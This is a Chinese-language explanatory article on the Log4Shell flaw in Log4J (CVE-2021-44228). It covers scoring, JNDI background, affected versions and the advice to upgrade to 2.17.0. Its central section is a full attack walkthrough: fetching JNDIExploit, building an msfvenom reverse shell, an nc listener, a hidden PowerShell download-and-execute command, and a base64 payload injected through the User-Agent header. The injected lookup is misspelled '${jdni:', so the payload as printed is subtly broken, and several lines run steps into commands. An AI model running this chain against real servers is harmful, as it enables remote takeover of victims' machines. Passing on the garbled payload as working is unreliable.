2021年12月9日,世界得知了一个关于Log4J的新安全漏洞。该漏洞的CVSSv3(通用漏洞评分系统)评分被评定为10分,因此属于严重级别(https://nvd.nist.gov/vuln/detail/CVE-2021-44228)。
其CVSSv3向量如下:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H。
我们来澄清一下这些值的含义,以便完全理解该评分的原因:
Log4J是一个Java库,现为Apache软件基金会项目的一部分,用于监控应用程序的状态。
它是Java应用程序日志记录的事实标准。
该漏洞基于JNDI(Java命名和目录接口):这是一个Java API,允许应用程序与外部目录服务(例如LDAP)进行交互。
交互通过JNDI的查找功能进行,该功能在Log4J的默认配置中启用,允许与远程服务器进行交互。
一些有助于阅读的小说明:
10.0.0.110.0.0.2x8680端口上运行着一个Web应用程序,可通过URL http://hackme.com访问| ❗ 注意 ❗ |
|---|
| 以下描述的攻击技术仅用于理解所涉漏洞的实际危险性。作者对以下文章的任何不当使用概不负责,并予以谴责。 |
以下攻击的目标是利用Log4Shell在易受攻击的系统上下载并执行反向Shell,从而获得对它的完全控制。
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
msfvenom为Windows创建一个TCP反向Shell,以便在8888端口接收对机器的远程访问msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
nc在8888端口初始化一个监听器,以接收从易受攻击机器上加载的反向Shell发来的连接nc -lvnp 8888
python3 -m http.server 4444
C:\windows\temp目录并执行它powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
base64编码echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
上述命令的结果如下:
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
User-Agent。攻击者发送类似以下的请求:GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
会被传递给Log4J,Log4J解析它,并通过JNDI向攻击者的LDAP服务器发出请求
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
恶意软件被下载并执行。
攻击者在8888端口获得该机器的一个Shell。
首先必须记住,这是一个仅影响使用Java或某些衍生技术(当然还有作为日志记录库的Log4J)的软件的漏洞。
2.0-beta9 - 2.14.1:易受Log4Shell攻击的版本范围为2.0-beta9到2.14.1。2.15.0:Log4J的2.15.0版本被发现存在漏洞。CVE-2021-45046。目前该漏洞的评分为“9.0 Critical”。2.16.0:Log4J的2.16.0版本被发现存在漏洞。CVE-2021-45105。目前该漏洞的评分为“7.5 High”。Log4J的1.x版本并不严格受所述安全漏洞的影响,但除了在2015年已被弃用外,它还受以下漏洞影响:CVE-2021-4104。
最好的解决方案是将Log4J升级到2.17.0版本。